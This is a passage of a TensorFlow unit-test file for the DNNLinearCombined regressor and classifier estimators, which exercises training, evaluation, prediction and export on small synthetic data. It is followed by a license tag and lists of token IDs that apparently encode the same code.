tensorflow.python.estimator.canned import dnn_linear_combined from tensorflow.python.estimator.canned import dnn_testing_utils from tensorflow.python.estimator.canned import linear_testing_utils from tensorflow.python.estimator.canned import prediction_keys from tensorflow.python.estimator.export import export from tensorflow.python.estimator.inputs import numpy_io from tensorflow.python.estimator.inputs import pandas_io from tensorflow.python.feature_column import feature_column from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import nn from tensorflow.python.ops import parsing_ops from tensorflow.python.ops import variables as variables_lib from tensorflow.python.platform import gfile from tensorflow.python.platform import test from tensorflow.python.summary.writer import writer_cache from tensorflow.python.training import checkpoint_utils from tensorflow.python.training import gradient_descent from tensorflow.python.training import input as input_lib from tensorflow.python.training import optimizer as optimizer_lib try: # pylint: disable=g-import-not-at-top import pandas as pd HAS_PANDAS = True except IOError: # Pandas writes a temporary file during import. If it fails, don't use pandas. HAS_PANDAS = False except ImportError: HAS_PANDAS = False class DNNOnlyModelFnTest(dnn_testing_utils.BaseDNNModelFnTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNModelFnTest.__init__(self, self._dnn_only_model_fn) def _dnn_only_model_fn(self, features, labels, mode, head, hidden_units, feature_columns, optimizer='Adagrad', activation_fn=nn.relu, dropout=None, input_layer_partitioner=None, config=None): return dnn_linear_combined._dnn_linear_combined_model_fn( features=features, labels=labels, mode=mode, head=head, linear_feature_columns=[], dnn_hidden_units=hidden_units, dnn_feature_columns=feature_columns, dnn_optimizer=optimizer, dnn_activation_fn=activation_fn, dnn_dropout=dropout, input_layer_partitioner=input_layer_partitioner, config=config) # A function to mimic linear-regressor init reuse same tests. def _linear_regressor_fn(feature_columns, model_dir=None, label_dimension=1, weight_column=None, optimizer='Ftrl', config=None, partitioner=None): return dnn_linear_combined.DNNLinearCombinedRegressor( model_dir=model_dir, linear_feature_columns=feature_columns, linear_optimizer=optimizer, label_dimension=label_dimension, weight_column=weight_column, input_layer_partitioner=partitioner, config=config) class LinearOnlyRegressorPartitionerTest( linear_testing_utils.BaseLinearRegressorPartitionerTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearRegressorPartitionerTest.__init__( self, _linear_regressor_fn) class LinearOnlyRegressorEvaluationTest( linear_testing_utils.BaseLinearRegressorEvaluationTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearRegressorEvaluationTest.__init__( self, _linear_regressor_fn) class LinearOnlyRegressorPredictTest( linear_testing_utils.BaseLinearRegressorPredictTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearRegressorPredictTest.__init__( self, _linear_regressor_fn) class LinearOnlyRegressorIntegrationTest( linear_testing_utils.BaseLinearRegressorIntegrationTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearRegressorIntegrationTest.__init__( self, _linear_regressor_fn) class LinearOnlyRegressorTrainingTest( linear_testing_utils.BaseLinearRegressorTrainingTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearRegressorTrainingTest.__init__( self, _linear_regressor_fn) def _linear_classifier_fn(feature_columns, model_dir=None, n_classes=2, weight_column=None, label_vocabulary=None, optimizer='Ftrl', config=None, partitioner=None): return dnn_linear_combined.DNNLinearCombinedClassifier( model_dir=model_dir, linear_feature_columns=feature_columns, linear_optimizer=optimizer, n_classes=n_classes, weight_column=weight_column, label_vocabulary=label_vocabulary, input_layer_partitioner=partitioner, config=config) class LinearOnlyClassifierTrainingTest( linear_testing_utils.BaseLinearClassifierTrainingTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearClassifierTrainingTest.__init__( self, linear_classifier_fn=_linear_classifier_fn) class LinearOnlyClassifierClassesEvaluationTest( linear_testing_utils.BaseLinearClassifierEvaluationTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearClassifierEvaluationTest.__init__( self, linear_classifier_fn=_linear_classifier_fn) class LinearOnlyClassifierPredictTest( linear_testing_utils.BaseLinearClassifierPredictTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearClassifierPredictTest.__init__( self, linear_classifier_fn=_linear_classifier_fn) class LinearOnlyClassifierIntegrationTest( linear_testing_utils.BaseLinearClassifierIntegrationTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) linear_testing_utils.BaseLinearClassifierIntegrationTest.__init__( self, linear_classifier_fn=_linear_classifier_fn) class DNNLinearCombinedRegressorIntegrationTest(test.TestCase): def setUp(self): self._model_dir = tempfile.mkdtemp() def tearDown(self): if self._model_dir: writer_cache.FileWriterCache.clear() shutil.rmtree(self._model_dir) def _test_complete_flow( self, train_input_fn, eval_input_fn, predict_input_fn, input_dimension, label_dimension, batch_size): linear_feature_columns = [ feature_column.numeric_column('x', shape=(input_dimension,))] dnn_feature_columns = [ feature_column.numeric_column('x', shape=(input_dimension,))] feature_columns = linear_feature_columns + dnn_feature_columns est = dnn_linear_combined.DNNLinearCombinedRegressor( linear_feature_columns=linear_feature_columns, dnn_hidden_units=(2, 2), dnn_feature_columns=dnn_feature_columns, label_dimension=label_dimension, model_dir=self._model_dir) # TRAIN num_steps = 10 est.train(train_input_fn, steps=num_steps) # EVALUTE scores = est.evaluate(eval_input_fn) self.assertEqual(num_steps, scores[ops.GraphKeys.GLOBAL_STEP]) self.assertIn('loss', six.iterkeys(scores)) # PREDICT predictions = np.array([ x[prediction_keys.PredictionKeys.PREDICTIONS] for x in est.predict(predict_input_fn) ]) self.assertAllEqual((batch_size, label_dimension), predictions.shape) # EXPORT feature_spec = feature_column.make_parse_example_spec(feature_columns) serving_input_receiver_fn = export.build_parsing_serving_input_receiver_fn( feature_spec) export_dir = est.export_savedmodel(tempfile.mkdtemp(), serving_input_receiver_fn) self.assertTrue(gfile.Exists(export_dir)) def test_numpy_input_fn(self): """Tests complete flow with numpy_input_fn.""" label_dimension = 2 batch_size = 10 data = np.linspace(0., 2., batch_size * label_dimension, dtype=np.float32) data = data.reshape(batch_size, label_dimension) # learn y = x train_input_fn = numpy_io.numpy_input_fn( x={'x': data}, y=data, batch_size=batch_size, num_epochs=None, shuffle=True) eval_input_fn = numpy_io.numpy_input_fn( x={'x': data}, y=data, batch_size=batch_size, shuffle=False) predict_input_fn = numpy_io.numpy_input_fn( x={'x': data}, batch_size=batch_size, shuffle=False) self._test_complete_flow( train_input_fn=train_input_fn, eval_input_fn=eval_input_fn, predict_input_fn=predict_input_fn, input_dimension=label_dimension, label_dimension=label_dimension, batch_size=batch_size) def test_pandas_input_fn(self): """Tests complete flow with pandas_input_fn.""" if not HAS_PANDAS: return label_dimension = 1 batch_size = 10 data = np.linspace(0., 2., batch_size, dtype=np.float32) x = pd.DataFrame({'x': data}) y = pd.Series(data) train_input_fn = pandas_io.pandas_input_fn( x=x, y=y, batch_size=batch_size, num_epochs=None, shuffle=True) eval_input_fn = pandas_io.pandas_input_fn( x=x, y=y, batch_size=batch_size, shuffle=False) predict_input_fn = pandas_io.pandas_input_fn( x=x, batch_size=batch_size, shuffle=False) self._test_complete_flow( train_input_fn=train_input_fn, eval_input_fn=eval_input_fn, predict_input_fn=predict_input_fn, input_dimension=label_dimension, label_dimension=label_dimension, batch_size=batch_size) def test_input_fn_from_parse_example(self): """Tests complete flow with input_fn constructed from parse_example.""" label_dimension = 2 batch_size = 10 data = np.linspace(0., 2., batch_size * label_dimension, dtype=np.float32) data = data.reshape(batch_size, label_dimension) serialized_examples = [] for datum in data: example = example_pb2.Example(features=feature_pb2.Features( feature={ 'x': feature_pb2.Feature( float_list=feature_pb2.FloatList(value=datum)), 'y': feature_pb2.Feature( float_list=feature_pb2.FloatList(value=datum)), })) serialized_examples.append(example.SerializeToString()) feature_spec = { 'x': parsing_ops.FixedLenFeature([label_dimension], dtypes.float32), 'y': parsing_ops.FixedLenFeature([label_dimension], dtypes.float32), } def _train_input_fn(): feature_map = parsing_ops.parse_example(serialized_examples, feature_spec) features = linear_testing_utils.queue_parsed_features(feature_map) labels = features.pop('y') return features, labels def _eval_input_fn(): feature_map = parsing_ops.parse_example( input_lib.limit_epochs(serialized_examples, num_epochs=1), feature_spec) features = linear_testing_utils.queue_parsed_features(feature_map) labels = features.pop('y') return features, labels def _predict_input_fn(): feature_map = parsing_ops.parse_example( input_lib.limit_epochs(serialized_examples, num_epochs=1), feature_spec) features = linear_testing_utils.queue_parsed_features(feature_map) features.pop('y') return features, None self._test_complete_flow( train_input_fn=_train_input_fn, eval_input_fn=_eval_input_fn, predict_input_fn=_predict_input_fn, input_dimension=label_dimension, label_dimension=label_dimension, batch_size=batch_size) # A function to mimic dnn-classifier init reuse same tests. def _dnn_classifier_fn(hidden_units, feature_columns, model_dir=None, n_classes=2, weight_column=None, label_vocabulary=None, optimizer='Adagrad', config=None, input_layer_partitioner=None): return dnn_linear_combined.DNNLinearCombinedClassifier( model_dir=model_dir, dnn_hidden_units=hidden_units, dnn_feature_columns=feature_columns, dnn_optimizer=optimizer, n_classes=n_classes, weight_column=weight_column, label_vocabulary=label_vocabulary, input_layer_partitioner=input_layer_partitioner, config=config) class DNNOnlyClassifierEvaluateTest( dnn_testing_utils.BaseDNNClassifierEvaluateTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNClassifierEvaluateTest.__init__( self, _dnn_classifier_fn) class DNNOnlyClassifierPredictTest( dnn_testing_utils.BaseDNNClassifierPredictTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNClassifierPredictTest.__init__( self, _dnn_classifier_fn) class DNNOnlyClassifierTrainTest( dnn_testing_utils.BaseDNNClassifierTrainTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNClassifierTrainTest.__init__( self, _dnn_classifier_fn) # A function to mimic dnn-regressor init reuse same tests. def _dnn_regressor_fn(hidden_units, feature_columns, model_dir=None, label_dimension=1, weight_column=None, optimizer='Adagrad', config=None, input_layer_partitioner=None): return dnn_linear_combined.DNNLinearCombinedRegressor( model_dir=model_dir, dnn_hidden_units=hidden_units, dnn_feature_columns=feature_columns, dnn_optimizer=optimizer, label_dimension=label_dimension, weight_column=weight_column, input_layer_partitioner=input_layer_partitioner, config=config) class DNNOnlyRegressorEvaluateTest( dnn_testing_utils.BaseDNNRegressorEvaluateTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNRegressorEvaluateTest.__init__( self, _dnn_regressor_fn) class DNNOnlyRegressorPredictTest( dnn_testing_utils.BaseDNNRegressorPredictTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNRegressorPredictTest.__init__( self, _dnn_regressor_fn) class DNNOnlyRegressorTrainTest( dnn_testing_utils.BaseDNNRegressorTrainTest, test.TestCase): def __init__(self, methodName='runTest'): # pylint: disable=invalid-name test.TestCase.__init__(self, methodName) dnn_testing_utils.BaseDNNRegressorTrainTest.__init__( self, _dnn_regressor_fn) class DNNLinearCombinedClassifierIntegrationTest(test.TestCase): def setUp(self): self._model_dir = tempfile.mkdtemp() def tearDown(self): if self._model_dir: writer_cache.FileWriterCache.clear() shutil.rmtree(self._model_dir) def _as_label(self, data_in_float): return np.rint(data_in_float).astype(np.int64) def _test_complete_flow( self, train_input_fn, eval_input_fn, predict_input_fn, input_dimension, n_classes, batch_size): linear_feature_columns = [ feature_column.numeric_column('x', shape=(input_dimension,))] dnn_feature_columns = [ feature_column.numeric_column('x', shape=(input_dimension,))] feature_columns = linear_feature_columns + dnn_feature_columns est = dnn_linear_combined.DNNLinearCombinedClassifier( linear_feature_columns=linear_feature_columns, dnn_hidden_units=(2, 2), dnn_feature_columns=dnn_feature_columns, n_classes=n_classes, model_dir=self._model_dir) # TRAIN num_steps = 10 est.train(train_input_fn, steps=num_steps) # EVALUTE scores = est.evaluate(eval_input_fn) self.assertEqual(num_steps, scores[ops.GraphKeys.GLOBAL_STEP]) self.assertIn('loss', six.iterkeys(scores)) # PREDICT predicted_proba = np.array([ x[prediction_keys.PredictionKeys.PROBABILITIES] for x in est.predict(predict_input_fn) ]) self.assertAllEqual((batch_size, n_classes), predicted_proba.shape) # EXPORT feature_spec = feature_column.make_parse_example_spec(feature_columns) serving_input_receiver_fn = export.build_parsing_serving_input_receiver_fn( feature_spec) export_dir = est.export_savedmodel(tempfile.mkdtemp(), serving_input_receiver_fn) self.assertTrue(gfile.Exists(export_dir)) def test_numpy_input_fn(self): """Tests complete flow with numpy_input_fn.""" n_classes = 3 input_dimension = 2 batch_size = 10 data = np.linspace( 0., n_classes - 1., batch_size * input_dimension, dtype=np.float32) x_data = data.reshape(batch_size, input_dimension) y_data = self._as_label(np.reshape(data[:batch_size], (batch_size, 1))) # learn y = x train_input_fn = numpy_io.numpy_input_fn( x={'x': x_data}, y=y_data, batch_size=batch_size, num_epochs=None, shuffle=True) eval_input_fn = numpy_io.numpy_input_fn( x={'x': x_data}, y=y_data, batch_size=batch_size, shuffle=False) predict_input_fn = numpy_io.numpy_input_fn( x={'x': x_data}, batch_size=batch_size, shuffle=False) self._test_complete_flow( train_input_fn=train_input_fn, eval_input_fn=eval_input_fn, predict_input_fn=predict_input_fn, input_dimension=input_dimension, n_classes=n_classes, batch_size=batch_size) def test_pandas_input_fn(self): """Tests complete flow with pandas_input_fn.""" if not HAS_PANDAS: return input_dimension = 1 n_classes = 2 batch_size = 10 data = np.linspace(0., n_classes - 1., batch_size, dtype=np.float32) x = pd.DataFrame({'x': data}) y = pd.Series(self._as_label(data)) train_input_fn = pandas_io.pandas_input_fn( x=x, y=y, batch_size=batch_size, num_epochs=None, shuffle=True) eval_input_fn = pandas_io.pandas_input_fn( x=x, y=y, batch_size=batch_size, shuffle=False) predict_input_fn = pandas_io.pandas_input_fn( x=x, batch_size=batch_size, shuffle=False) self._test_complete_flow( train_input_fn=train_input_fn, eval_input_fn=eval_input_fn, predict_input_fn=predict_input_fn, input_dimension=input_dimension, n_classes=n_classes, batch_size=batch_size) def test_input_fn_from_parse_example(self): """Tests complete flow with input_fn constructed from parse_example.""" input_dimension = 2 n_classes = 3 batch_size = 10 data = np.linspace(0., n_classes-1., batch_size * input_dimension, dtype=np.float32) data = data.reshape(batch_size, input_dimension) serialized_examples = [] for datum in data: example = example_pb2.Example(features=feature_pb2.Features( feature={ 'x': feature_pb2.Feature(float_list=feature_pb2.FloatList( value=datum)), 'y': feature_pb2.Feature(int64_list=feature_pb2.Int64List( value=self._as_label(datum[:1]))), })) serialized_examples.append(example.SerializeToString()) feature_spec = { 'x': parsing_ops.FixedLenFeature([input_dimension], dtypes.float32), 'y': parsing_ops.FixedLenFeature([1], dtypes.int64), } def _train_input_fn(): feature_map = parsing_ops.parse_example(serialized_examples, feature_spec) features = linear_testing_utils.queue_parsed_features(feature_map) labels = features.pop('y') return features, labels def _eval_input_fn(): feature_map = parsing_ops.parse_example( input_lib.limit_epochs(serialized_examples, num_epochs=1), feature_spec) features = linear_testing_utils.queue_parsed_features(feature_map) labels = features.pop('y') return features, labels def _predict_input_fn(): feature_map = parsing_ops.parse_example( input_lib.limit_epochs(serialized_examples, num_epochs=1), feature_spec) features = linear_testing_utils.queue_parsed_features(feature_map) features.pop('y') return features, None self._test_complete_flow( train_input_fn=_train_input_fn, eval_input_fn=_eval_input_fn, predict_input_fn=_predict_input_fn, input_dimension=input_dimension, n_classes=n_classes, batch_size=batch_size) class DNNLinearCombinedTests(test.TestCase): def setUp(self): self._model_dir = tempfile.mkdtemp() def tearDown(self): if self._model_dir: shutil.rmtree(self._model_dir) def _mock_optimizer(self, real_optimizer, var_name_prefix): """Verifies global_step is None and var_names start with given prefix.""" def _minimize(loss, global_step=None, var_list=None): self.assertIsNone(global_step) trainable_vars = var_list or ops.get_collection( ops.GraphKeys.TRAINABLE_VARIABLES) var_names = [var.name for var in trainable_vars] self.assertTrue( all([name.startswith(var_name_prefix) for name in var_names])) # var is used to check this op called by training. var = variables_lib.Variable(0., name=(var_name_prefix + '_called')) with ops.control_dependencies([var.assign(100.)]): return real_optimizer.minimize(loss, global_step, var_list) optimizer_mock = test.mock.NonCallableMagicMock( spec=optimizer_lib.Optimizer, wraps=real_optimizer) optimizer_mock.minimize = test.mock.MagicMock(wraps=_minimize) return optimizer_mock def test_train_op_calls_both_dnn_and_linear(self): opt = gradient_descent.GradientDescentOptimizer(1.) x_column = feature_column.numeric_column('x') input_fn = numpy_io.numpy_input_fn( x={'x': np.array([[0.], [1.]])}, y=np.array([[0.], [1.]]), batch_size=1, shuffle=False) est = dnn_linear_combined.DNNLinearCombinedClassifier( linear_feature_columns=[x_column], # verifies linear_optimizer is used only for linear part. linear_optimizer=self._mock_optimizer(opt, 'linear'), dnn_hidden_units=(2, 2), dnn_feature_columns=[x_column], # verifies dnn_optimizer is used only for linear part. dnn_optimizer=self._mock_optimizer(opt, 'dnn'), model_dir=self._model_dir) est.train(input_fn, steps=1) # verifies train_op fires linear minimize op self.assertEqual(100., checkpoint_utils.load_variable( self._model_dir, 'binary_logistic_head/linear_called')) # verifies train_op fires dnn minimize op self.assertEqual(100., checkpoint_utils.load_variable( self._model_dir, 'binary_logistic_head/dnn_called')) def test_dnn_and_linear_logits_are_added(self): with ops.Graph().as_default(): variables_lib.Variable([[1.0]], name='linear/linear_model/x/weights') variables_lib.Variable([2.0], name='linear/linear_model/bias_weights') variables_lib.Variable([[3.0]], name='dnn/hiddenlayer_0/kernel') variables_lib.Variable([4.0], name='dnn/hiddenlayer_0/bias') variables_lib.Variable([[5.0]], name='dnn/logits/kernel') variables_lib.Variable([6.0], name='dnn/logits/bias') variables_lib.Variable(1, name='global_step', dtype=dtypes.int64) linear_testing_utils.save_variables_to_ckpt(self._model_dir) x_column = feature_column.numeric_column('x') est = dnn_linear_combined.DNNLinearCombinedRegressor( linear_feature_columns=[x_column], dnn_hidden_units=[1], dnn_feature_columns=[x_column], model_dir=self._model_dir) input_fn = numpy_io.numpy_input_fn( x={'x': np.array([[10.]])}, batch_size=1, shuffle=False) # linear logits = 10*1 + 2 = 12 # dnn logits = (10*3 + 4)*5 + 6 = 176 # logits = dnn + linear = 176 + 12 = 188 self.assertAllClose( { prediction_keys.PredictionKeys.PREDICTIONS: [188.], }, next(est.predict(input_fn=input_fn))) if __name__ == '__main__': test.main()
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 26989, 63, 6676, 63, 17583, 14, 647, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 5145, 199, 646, 5549, 199, 199, 646, 2680, 465, 980, 199, 646, 3816, 199, 199, 504, 3228, 14, 1018, 14, 2694, 492, 2893, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 2694, 492, 3878, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 26989, 63, 6676, 63, 17583, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 26989, 63, 4776, 63, 1208, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 7798, 63, 4776, 63, 1208, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 12044, 63, 1612, 199, 504, 3228, 14, 1548, 14, 8627, 14, 3790, 492, 4843, 199, 504, 3228, 14, 1548, 14, 8627, 14, 3711, 492, 2680, 63, 2308, 199, 504, 3228, 14, 1548, 14, 8627, 14, 3711, 492, 10634, 63, 2308, 199, 504, 3228, 14, 1548, 14, 4445, 63, 2301, 492, 3878, 63, 2301, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 199, 504, 3228, 14, 1548, 14, 1483, 492, 6057, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 465, 2860, 63, 773, 199, 504, 3228, 14, 1548, 14, 3246, 492, 26532, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 4705, 14, 5491, 492, 7060, 63, 1637, 199, 504, 3228, 14, 1548, 14, 7588, 492, 9997, 63, 1208, 199, 504, 3228, 14, 1548, 14, 7588, 492, 6709, 63, 26269, 199, 504, 3228, 14, 1548, 14, 7588, 492, 1324, 465, 1324, 63, 773, 199, 504, 3228, 14, 1548, 14, 7588, 492, 10736, 465, 10736, 63, 773, 199, 199, 893, 26, 523, 327, 4287, 26, 3507, 29, 71, 13, 646, 13, 1397, 13, 292, 13, 2119, 523, 492, 10634, 465, 6454, 523, 7509, 63, 48, 3649, 1179, 275, 715, 199, 2590, 5925, 26, 523, 327, 510, 7683, 14511, 282, 7937, 570, 5309, 492, 14, 982, 652, 6918, 12, 2793, 1133, 675, 10634, 14, 523, 7509, 63, 48, 3649, 1179, 275, 756, 199, 2590, 3545, 26, 523, 7509, 63, 48, 3649, 1179, 275, 756, 421, 199, 533, 24842, 2826, 78, 590, 1685, 9656, 774, 8, 31969, 63, 4776, 63, 1208, 14, 1563, 36, 7178, 1685, 9656, 774, 12, 511, 14, 1746, 304, 819, 347, 636, 826, 721, 277, 12, 23352, 534, 27850, 735, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 272, 511, 14, 1746, 855, 826, 721, 277, 12, 23352, 9, 272, 26989, 63, 4776, 63, 1208, 14, 1563, 36, 7178, 1685, 9656, 774, 855, 826, 721, 277, 12, 291, 423, 31969, 63, 2118, 63, 1238, 63, 2324, 9, 819, 347, 485, 31969, 63, 2118, 63, 1238, 63, 2324, 8, 277, 12, 586, 4534, 12, 586, 3628, 12, 586, 818, 12, 586, 4854, 12, 586, 8752, 63, 5260, 12, 586, 3878, 63, 3406, 12, 586, 10736, 534, 2767, 27707, 297, 586, 10361, 63, 2324, 29, 4411, 14, 12833, 12, 586, 19795, 29, 403, 12, 586, 1324, 63, 1897, 63, 5312, 281, 29, 403, 12, 586, 1101, 29, 403, 304, 272, 372, 26989, 63, 6676, 63, 17583, 423, 31969, 63, 6676, 63, 17583, 63, 1238, 63, 2324, 8, 267, 4534, 29, 3179, 12, 267, 3628, 29, 3512, 12, 267, 818, 29, 632, 12, 267, 4854, 29, 2993, 12, 267, 7798, 63, 4445, 63, 3406, 6034, 267, 26989, 63, 5642, 63, 5260, 29, 5642, 63, 5260, 12, 267, 26989, 63, 4445, 63, 3406, 29, 4445, 63, 3406, 12, 267, 26989, 63, 12290, 29, 12290, 12, 267, 26989, 63, 12312, 63, 2324, 29, 12312, 63, 2324, 12, 267, 26989, 63, 17953, 29, 17953, 12, 267, 1324, 63, 1897, 63, 5312, 281, 29, 1210, 63, 1897, 63, 5312, 281, 12, 267, 1101, 29, 888, 9, 421, 199, 3, 437, 805, 370, 24102, 530, 7798, 13, 1135, 11686, 4205, 12598, 2011, 2295, 14, 199, 318, 485, 6676, 63, 1135, 11686, 63, 2324, 8, 4445, 63, 3406, 12, 586, 1402, 63, 694, 29, 403, 12, 586, 1768, 63, 7430, 29, 17, 12, 586, 5401, 63, 2301, 29, 403, 12, 586, 10736, 534, 38, 7245, 297, 586, 1101, 29, 403, 12, 586, 6484, 281, 29, 403, 304, 523, 372, 26989, 63, 6676, 63, 17583, 14, 36, 7178, 10608, 26444, 15155, 8, 489, 1402, 63, 694, 29, 1238, 63, 694, 12, 489, 7798, 63, 4445, 63, 3406, 29, 4445, 63, 3406, 12, 489, 7798, 63, 12290, 29, 12290, 12, 489, 1768, 63, 7430, 29, 1302, 63, 7430, 12, 489, 5401, 63, 2301, 29, 3463, 63, 2301, 12, 489, 1324, 63, 1897, 63, 5312, 281, 29, 5312, 281, 12, 489, 1101, 29, 888, 9, 421, 199, 533, 12489, 5903, 15155, 13068, 281, 774, 8, 272, 7798, 63, 4776, 63, 1208, 14, 1563, 10608, 15155, 13068, 281, 774, 12, 511, 14, 1746, 304, 819, 347, 636, 826, 721, 277, 12, 23352, 534, 27850, 735, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 272, 511, 14, 1746, 855, 826, 721, 277, 12, 23352, 9, 272, 7798, 63, 4776, 63, 1208, 14, 1563, 10608, 15155, 13068, 281, 774, 855 ]
[ 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 26989, 63, 6676, 63, 17583, 14, 647, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 5145, 199, 646, 5549, 199, 199, 646, 2680, 465, 980, 199, 646, 3816, 199, 199, 504, 3228, 14, 1018, 14, 2694, 492, 2893, 63, 3317, 18, 199, 504, 3228, 14, 1018, 14, 2694, 492, 3878, 63, 3317, 18, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 26989, 63, 6676, 63, 17583, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 26989, 63, 4776, 63, 1208, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 7798, 63, 4776, 63, 1208, 199, 504, 3228, 14, 1548, 14, 8627, 14, 31126, 492, 12044, 63, 1612, 199, 504, 3228, 14, 1548, 14, 8627, 14, 3790, 492, 4843, 199, 504, 3228, 14, 1548, 14, 8627, 14, 3711, 492, 2680, 63, 2308, 199, 504, 3228, 14, 1548, 14, 8627, 14, 3711, 492, 10634, 63, 2308, 199, 504, 3228, 14, 1548, 14, 4445, 63, 2301, 492, 3878, 63, 2301, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 11542, 199, 504, 3228, 14, 1548, 14, 1483, 492, 6057, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 465, 2860, 63, 773, 199, 504, 3228, 14, 1548, 14, 3246, 492, 26532, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 4705, 14, 5491, 492, 7060, 63, 1637, 199, 504, 3228, 14, 1548, 14, 7588, 492, 9997, 63, 1208, 199, 504, 3228, 14, 1548, 14, 7588, 492, 6709, 63, 26269, 199, 504, 3228, 14, 1548, 14, 7588, 492, 1324, 465, 1324, 63, 773, 199, 504, 3228, 14, 1548, 14, 7588, 492, 10736, 465, 10736, 63, 773, 199, 199, 893, 26, 523, 327, 4287, 26, 3507, 29, 71, 13, 646, 13, 1397, 13, 292, 13, 2119, 523, 492, 10634, 465, 6454, 523, 7509, 63, 48, 3649, 1179, 275, 715, 199, 2590, 5925, 26, 523, 327, 510, 7683, 14511, 282, 7937, 570, 5309, 492, 14, 982, 652, 6918, 12, 2793, 1133, 675, 10634, 14, 523, 7509, 63, 48, 3649, 1179, 275, 756, 199, 2590, 3545, 26, 523, 7509, 63, 48, 3649, 1179, 275, 756, 421, 199, 533, 24842, 2826, 78, 590, 